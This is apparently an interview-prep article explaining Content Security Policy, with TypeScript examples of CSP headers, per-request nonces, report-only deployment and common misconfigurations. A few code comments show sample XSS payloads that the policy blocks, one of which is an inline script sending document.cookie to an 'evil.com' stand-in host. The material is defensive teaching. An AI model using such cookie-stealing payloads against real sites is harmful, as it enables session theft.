SecurityWeb APIsMedium

How does Content Security Policy (CSP) work?

01

The Short Answer

Content Security Policy (CSP) is an HTTP header that tells the browser exactly which sources of content (scripts, styles, images, fonts, etc.) are allowed to load on your page. If a source isn't explicitly whitelisted, the browser blocks it. This is the most powerful defense against Cross-Site Scripting (XSS) because even if an attacker injects a <script> tag, the browser refuses to execute it unless the script's source is in your CSP whitelist. It turns XSS from 'game over' into 'blocked by policy'.

02

How CSP Works

Your server sends a Content-Security-Policy header with every response. This header contains directives that specify allowed sources for each type of resource. The browser enforces these rules — any resource that doesn't match the policy is blocked and logged. Think of it as a firewall for your page's content.

basic-csp.tstypescript
// Basic CSP header — controls where resources can load from
response.headers.set('Content-Security-Policy', [
  "default-src 'self'",           // Default: only allow same-origin
  "script-src 'self' https://cdn.example.com", // Scripts: self + specific CDN
  "style-src 'self' 'unsafe-inline'",          // Styles: self + inline (needed for many frameworks)
  "img-src 'self' https: data:",               // Images: self + any HTTPS + data URIs
  "font-src 'self' https://fonts.gstatic.com", // Fonts: self + Google Fonts
  "connect-src 'self' https://api.example.com", // Fetch/XHR: self + API
  "frame-src 'none'",            // Iframes: block all
  "object-src 'none'",           // Plugins (Flash, etc.): block all
].join('; '));

// What this blocks:
// ❌ <script src="https://evil.com/steal.js"> — not in script-src
// ❌ <img src="http://tracker.com/pixel.gif"> — http not allowed (only https)
// ❌ <iframe src="https://anything.com"> — frame-src is 'none'
// ❌ Inline scripts injected via XSS — 'unsafe-inline' not in script-src

// What this allows:
// ✅ <script src="/app.js"> — same origin ('self')
// ✅ <script src="https://cdn.example.com/lib.js"> — explicitly whitelisted
// ✅ <img src="https://images.example.com/photo.jpg"> — any HTTPS

The default-src directive is the fallback for any resource type that doesn't have its own directive. Setting default-src 'self' means everything defaults to same-origin only, and you explicitly open up specific resource types as needed.

03

Key Directives

CSP has many directives, each controlling a specific resource type. Here are the most important ones you'll configure in a typical web application:

DirectiveControlsCommon Values
default-srcFallback for all resource types'self'
script-srcJavaScript sources'self', 'nonce-xxx', specific CDNs
style-srcCSS sources'self', 'unsafe-inline' (often needed)
img-srcImage sources'self', https:, data:
connect-srcFetch, XHR, WebSocket endpoints'self', API domains
font-srcWeb font sources'self', Google Fonts CDN
frame-srcIframe sources'none' or specific embed domains
frame-ancestorsWho can iframe YOUR page'none' (clickjacking defense)
object-srcPlugins (Flash, Java)'none' (always block)
base-uriAllowed <base> tag URLs'self' (prevents base tag injection)
04

Nonces — Safe Inline Scripts

The biggest CSP challenge is inline scripts. Blocking all inline scripts (script-src without 'unsafe-inline') breaks most XSS attacks but also breaks legitimate inline scripts your app needs. Nonces solve this: you generate a random token per request, add it to both the CSP header and your script tags. Only scripts with the matching nonce execute — injected scripts won't have it.

nonce-example.tstypescript
import crypto from 'crypto';

// Generate a unique nonce per request
const nonce = crypto.randomBytes(16).toString('base64');

// Include nonce in CSP header
response.headers.set(
  'Content-Security-Policy',
  `script-src 'self' 'nonce-${nonce}'; style-src 'self' 'nonce-${nonce}';`
);

// In your HTML — legitimate scripts include the nonce
// ✅ This executes — nonce matches
`<script nonce="${nonce}">console.log('Legitimate inline script');</script>`

// ❌ This is blocked — no nonce (injected by attacker via XSS)
// <script>document.location = 'https://evil.com/steal?cookie=' + document.cookie</script>

// ❌ This is blocked — wrong nonce
// <script nonce="wrong-value">alert('hacked')</script>

// Next.js example with nonce
// In middleware.ts:
import { NextResponse } from 'next/server';

export function middleware(request) {
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
  const csp = `script-src 'self' 'nonce-${nonce}'; style-src 'self' 'unsafe-inline';`;

  const response = NextResponse.next();
  response.headers.set('Content-Security-Policy', csp);
  response.headers.set('x-nonce', nonce); // Pass to components
  return response;
}

Nonces must be unique per request and cryptographically random. If an attacker can predict the nonce, they can include it in their injected script. Never use static nonces, timestamps, or sequential values.

05

Report-Only Mode

Deploying CSP on an existing site can break things if your policy is too strict. Content-Security-Policy-Report-Only lets you test a policy without enforcing it — violations are reported (to a URL you specify) but not blocked. This lets you identify what would break before you flip the switch to enforcement.

report-only.tstypescript
// Report-Only — logs violations without blocking anything
response.headers.set(
  'Content-Security-Policy-Report-Only',
  "default-src 'self'; script-src 'self'; report-uri /api/csp-report;"
);

// The browser sends violation reports as JSON POST to your endpoint:
// {
//   "csp-report": {
//     "document-uri": "https://yoursite.com/page",
//     "violated-directive": "script-src 'self'",
//     "blocked-uri": "https://analytics.google.com/analytics.js",
//     "original-policy": "default-src 'self'; script-src 'self'"
//   }
// }

// Deployment strategy:
// 1. Start with Report-Only — collect violations for a week
// 2. Whitelist legitimate sources you discover in reports
// 3. Switch to enforcing Content-Security-Policy
// 4. Keep report-uri active to catch new violations

// Modern reporting (report-to directive + Reporting API)
response.headers.set('Reporting-Endpoints', 'csp-endpoint="/api/csp-reports"');
response.headers.set(
  'Content-Security-Policy',
  "default-src 'self'; report-to csp-endpoint;"
);
06

Common CSP Mistakes

🚨

Using 'unsafe-inline' for scripts

Adding 'unsafe-inline' to script-src defeats the primary purpose of CSP — it allows ALL inline scripts, including attacker-injected ones. This makes your CSP almost useless against XSS.

Use nonces ('nonce-xxx') or hashes ('sha256-xxx') instead. These allow specific inline scripts while blocking injected ones.

🌐

Whitelisting entire CDN domains

Allowing 'https://cdn.jsdelivr.net' means ANY package on that CDN can be loaded — including malicious ones an attacker could publish. CDN-hosted XSS payloads exist specifically to bypass overly broad CSP rules.

Use specific paths where possible, or better yet, use nonces/hashes and self-host critical scripts.

Forgetting connect-src

If you restrict default-src but forget connect-src, your API calls (fetch, XHR, WebSocket) will be blocked. This is a common cause of 'CSP broke my app' issues.

Always explicitly set connect-src to include your API domains and any third-party services your app calls.

07

Why Interviewers Ask This

CSP is the most effective browser-side defense against XSS, and understanding it shows deep security knowledge. Interviewers want to see that you know how CSP prevents XSS (blocks unauthorized scripts), understand directives and how to configure them, know the nonce/hash approach for safe inline scripts, can explain the deployment strategy (report-only → enforce), and understand the trade-offs (security vs developer convenience).

Quick Revision Cheat Sheet

What CSP does: Whitelists allowed content sources — browser blocks everything else

XSS defense: Injected scripts are blocked because they're not in the whitelist

Key directive: script-src — controls which JavaScript can execute

Inline scripts: Use nonces (per-request random tokens) — never 'unsafe-inline'

Deployment: Start with Report-Only, collect violations, then enforce

Fallback: default-src 'self' — restrict everything to same-origin by default